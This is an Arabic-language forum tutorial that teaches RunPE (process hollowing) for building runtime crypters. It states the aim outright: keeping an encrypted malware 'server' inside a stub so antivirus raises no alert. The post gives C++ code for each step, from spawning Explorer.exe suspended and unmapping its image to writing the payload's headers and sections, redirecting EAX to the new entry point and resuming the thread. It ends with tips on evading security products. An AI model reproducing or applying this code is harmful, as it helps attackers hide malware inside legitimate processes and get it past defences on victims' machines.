حالة الموضوع:
مغلق
  1. unCoder

    unCoder Developer

    الأنتساب:
    ‏3 ديسمبر 2012
    المشاركات:
    11
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    NTOSKRNL
    [​IMG]

    RunPE
    أولا وللعلم لن أقوم بشرح الموضوع خطوة خطوة بل سأشرح اساس الرن بي فعلى كل من يريد فهم الموضوع أن يكون ملم بالدوال المهمة والأساسية .

    أولا وكما نعرف بأن برامج تشفير الـ Runtime تعمل بآلية الرن بي
    فماهو الرن بي ؟

    الرن بي هو تنفيذ بايتات الملف المطلوب في ذاكرة ملف آخر
    لأوضح أكثر لدينا بايتات السيرفر في الستب مشفره بأحد الخوارزميات السيرفر حتى الآن لم يتم تشغيله لذلك لاتوجد أي عملية ضارة تجعل برنامج الحماية يعطي إنذار عليها

    فالرن بي يقوم بتحميل [ تشغيل ] عملية نظيفة مثل Explorer.exe عن طريقة دالة CreateProcess لماذا سنستخدم هذه الدالة لأننا في تشغيل هذا الملف لانريده أن يعمل بل نريد أن يتم تحميله للذاكرة بوضيعة الخمول أو CREATE_SUSPENDED
    وهذه الدالة توفر بارميتر ال Create Flags وهو وضع التشغيل

    للمزيد : MSDN CreateProcess

    [​IMG]

    إنتهينا من جزء تحميل الملف النظيف للذاكرة وأيضا هنا لن تشعر الحماية بأي خطر لأن العملية خالية من الاعمال الضارة تماما والملف لم يتم تنفيذه أي لم يتمر المرور بالإنتري بوينت بعد
    وهذا مانريده

    الآن يجب ان نجلب ال ImageBase من ذاكرة العملية لانه مهم في الخطوات القادمة
    1 - يمكنك جلبه عن طريق الـ PE Header .
    وتوجد ستركشرات مهمة جدا لابد أن نتطرق لها
    وهي

    IMAGE_DOS_HEADER
    IMAGE_NT_HEADER
    IMAGE_SECTION_HEADER


    ويفضل أن تدرس تركيب ال PE Files والستركشرز الخاصة به قبل الشروع في برمجة رن بي
    لكي تكون على علم بكل خطوة تقوم بها .

    2 - ويمكن جلبه عن طريق جلب الـ EBX وإضافته إلى 8 [ EBX + 8 ] .

    سنستخدم هذه الطريقة في درسنا هذا لاكن كيف نجلب الـ EBX ؟
    دالة GetThreadContext تقوم بالعمل
    وذلك عن طريق إسناد
    Context Flags = CONTEXT_FULL

    ووظيفة هذه الدالة هي جلب الـ Registers [ مسجلات الذاكرة ] الموجودة في العملية
    EAX,EBX,ESP .... وأيضا المسجلات الفرعية ولها عدة Flags

    مايهمنا هنا هو جلب مسجل EBX لكي نجلب الـ ImageBase عن طريقه
    بعد أن جلبنا الـ ImageBase ماذا يتبقى ؟

    [​IMG]

    الآن نأتي لدور تفريغ الذاكرة الإفتراضية للعملية وذلك لنجعلها فارغة مهيئة لكتابة بايتات السيرفر الخاص بنا فيها وذلك يتم عن طريق دالة NtUnmapViewOfSection ويتم التفريغ بدءآ من الـ ImageBase اللذي قمنا بجلبه

    بعد تفريق ذاكرة العملية لازال علينا تفريغ مساحة كافية فيها لكتابة بايتات السيرفر أو الملف المطلوب وذلك عن طريق دالة VirtualAllocEx
    وذلك يتم بدءآ من ال ImageBase الخاص ببايتات الملف او السيرفر ونستطيع جلبه عن طريق
    IMAGE_NT_HEADER->OptionalHeader.ImageBase
    ونستطيع جلب المساحة عن طريق IMAGE_NT_HEADER->OptionalHeader.SizeOfImage

    [​IMG]

    بعد أن تم تهييئ ذاكرة العملية تماما نقوم الآن بفك تشفير بايتات السيرفر او الملف المطلوب ان كان مشفر بأحد الخوارزميات ونبدء بكتابة الـ Headers الخاصة بالملف
    عن طريق دالة WriteProcessMemory
    وذلك بتحديد حجم الهيدر والموجود حجمها ايضا في الإوبشنال هيدر ونبدء كتابته من ال ImageBase الخاص بالملف او السيرفر ونستطيع جلب حجم الهيدرس عن طريق
    IMAGE_NT_HEADER->OptionalHeader.SizeOfHeaders

    [​IMG]

    والآن بعد أن انتهينا من كتابة الهيدرس نكتب باقي اجزاء الملف أي ال Sections
    وذلك عن طريق الدخول في حلقة تكرار وأفضل هذه الطريقة
    وفي كل مرة نقوم بإسناد السكشن الحالي لستركشر IMAGE_SECTION_HEADER
    وذلك عن طريق :

    كود:
    [FileBytes[PIMAGE_DOS_HEADER->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
    ويرمز i إلى عداد الحلقة ويبدء من الصفر وبعد أن نقوم بإسناد السكشن للستركشر
    نبدء بكتابته عن طريق WriteProcessMemory
    ويتم ذلك بدءآ من

    IMAGE_NT_HEADERS->OptionalHeader.ImageBase + IMAGE_SECTION_HEADER->VirtualAddress

    أي من حيث إنتهت كتابة الراو داتا الاخيرة
    وما يتم كتابته هو مآيؤشر له الستركشر بالنسبة لبايتات الملف
    [ FileBytes[IMAGE_SECTION_HEADER.PointerToRawData
    والحجم يكون بحجم الراو داتا الحالية ويحمله السترشكر ذاته أيضا
    IMAGE_SECTION_HEADER.SizeOfRawData

    [​IMG]

    والآن بعد أن انتهينا من كتابة كافة البيانات نأتي لآخر الخطوات وأهمها وهي إسناد ال OEP الجديد اللذي سيبدء منه الملف ويتم حسابه عن طريق جمع ال ImageBase + EntryPoint
    علما أن مسجل Eax هو من يحمل هذه القيمة ليتم تنفيذ الملف منها

    وكما فعلنا سابقا نجلب ال ImageBase
    IMAGE_NT_HEADER->OptionalHeader.ImageBase + IMAGE_NT_HEADER->OptionalHeader.AddressOfEntryPoint

    ونسندهم للـ Context السابق اللذي جلبناه عن طريق دالة GetThreadContext
    ثم نقول بإسناد المسجلات مرة اخرى للعملية عن طريق دالة
    SetThreadContext

    وأخيرا نرجع العملية للعمل بوضعها الطبيعي عن طريقة دالة
    ResumeThread

    [​IMG]

    ولاكن لابد من وجود عدة أمور أيضا في الرن بي وهي تعريف الستركشر وغيرها والتحقق من بعض الإمور لكي يعمل بشكل سليم لذلك لنأتي للخلاصة من الموضوع وماتوصلنا إليه ( الكود C++ )

    1 - تعريف الستركشرات والمتغير اللذي سيحمل بايتات الملف

    كود:
    LPBYTE lpBuffer;
        PIMAGE_DOS_HEADER IDH;
        PIMAGE_NT_HEADERS INH;
        PIMAGE_SECTION_HEADER ISH;
    ونسند بايتات الملف للستركشرات ونتحقق من أنها بايتات صالحة وتحتوي على تواقيع صالحة

    كود:
        IDH = (PIMAGE_DOS_HEADER)&lpBuffer[0];
        if (IDH->e_magic != IMAGE_DOS_SIGNATURE) { return 0;}
        INH = (PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew];
    
        if (INH->Signature != IMAGE_NT_SIGNATURE) { return 0;}
    - نبدء في تحميل العملية النظيفة عن طريق دالة CreateProcess ونعرف متغيراتها


    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);

    CreateProcess(L"Explorer.exe",NULL,NULL,NULL,FALSE ,0x0000004,NULL,NULL,&si,&pi)

    بعد ان نتحقق من انه تم تحميل العملية
    3 - نجلب المسجلات في العملية عن طريق دالة GetThreadContext

    كود:
    CONTEXT context;
            context.ContextFlags = (CONTEXT_FULL);
    GetThreadContext(pi.hThread,&context)
    بعد أن نتحقق من انه تم جلب المسجلات

    4 - نحسب الـ ImageBase عن طريق جمع EBX + 8

    كود:
    DWORD dwImageBase;
    كود:
    ReadProcessMemory(pi.hProcess, LPCVOID(context->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
    ثم نقوم بتفريغ الذاكرة عن طريقة
    دالة NtUnmapViewOfSection

    بمآ ان الدالة Native سنستخدم بوينتر لها نعرف في الجينيرال سيكشن

    كود:
    typedef LONG(WINAPI *NtUnmapViewOfSection)(HANDLE hProcess,LPVOID BaseAddress);
    ونحميل الدالة له ونقوم بتفريغ الذاكرة بدءآ من ال ImageBase

    كود:
     NtUnmapViewOfSection xNtUnmapViewOfSection;
    xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
    xNtUnmapViewOfSection(pi.hProcess, PVOID(dwImageBase));
    وبعد أن يتم تفريغ الذاكرة
    5 - نقوم بتفريغ المساحة الكافية في العملية عن طريقة دالة VirtualAllocEx
    بدءا من ال ImageBase الجديد

    كود:
     VirtualAllocEx(pi.hProcess,(LPVOID)INH->OptionalHeader.ImageBase,INH->OptionalHeader.SizeOfImage,MEM_COMMIT || MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    وبعد أن قمنا بتفريغ المساحة الكافية
    6 - نبدء في كتابة البايتات او [ الهيدرات تحديدا ] عن طريق دالة WriteProcessMemory

    كود:
    WriteProcessMemory(pi.hProcess,(LPVOID)INH->OptionalHeader.ImageBase,&lpBuffer[0],INH->OptionalHeader.SizeOfHeaders,NULL);
    بعد أن تمت كتابة الهيدرات نقوم بكتابة السكشنس عن طريق حلقة التكرار وإسناد كل سكشن لستركشر السكشن هيدر في كل مرة

    كود:
    for (int i=0;i<INH->FileHeader.NumberOfSections;i++)
    {
                    
    ISH = (PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew + sizeof(PIMAGE_NT_HEADERS) + sizeof(PIMAGE_SECTION_HEADER) * i];
    
    WriteProcessMemory(pi.hProcess,(LPVOID)(INH->OptionalHeader.ImageBase + ISH->VirtualAddress),&lpBuffer[ISH->PointerToRawData],ISH->SizeOfRawData,NULL);
    }
    بعد ان تمت كتابة جميع بايتات الملف وتركيباته
    7 - نبدء في حساب ال OEP الجديد عن طريق جمع ال ImageBase + EntryPoint
    وثم إسنادهم لـ Eax لكي يبدء الملف منها عند اعادته للعمل

    كود PHP:
    context.Eax INH->OptionalHeader.ImageBase INH->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread,&context);
    8 - والخطوة الأخيرة إعادة العملية للعمل عن طريق دالة ResumeThread

    كود PHP:
    ResumeThread(pi.hThread);
    [​IMG]

    بالنسبة لتشفير الرن بي وهنا يأتي دور فكر المبرمج وإبداعه ومن الأمثلة اللجوء للبديل
    مثل ال Native من الدوال أو حتى اللجوء للـ Sysenter مباشرة كما يمكنك إستخدام البوينتر للدوال وله تأثير على الحمايات :{21}:

    [​IMG]

    في الختام أتمنى أن يكون الشرح واضح لمن يهتم بهذا المجال ولمن له طموح عالي فيه
    أتمنى أن يصل له وجميع من يتمنى أن يطور نفسه بشكل أوسع وأكبر في هذا البحر العظيم
    ولاتملوا من البحث وتحصيل العلم ففي النهاية ستحصد نتيجة تعبك وإجتهادك في ماتحب .

    وإن شاء الله ينال على إعجابكم أعتقد إنه أول شرح عربي من نوعه ^:"

    وأهديكم أيضا كتاب من شركة F-Secure عن الستركشرات في تركيب ال PE Files أشكر أخي محمد كولد زيرو على هذا الكتاب $:"

    من هنا التحميل

    GulfUp - PE Formats

     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة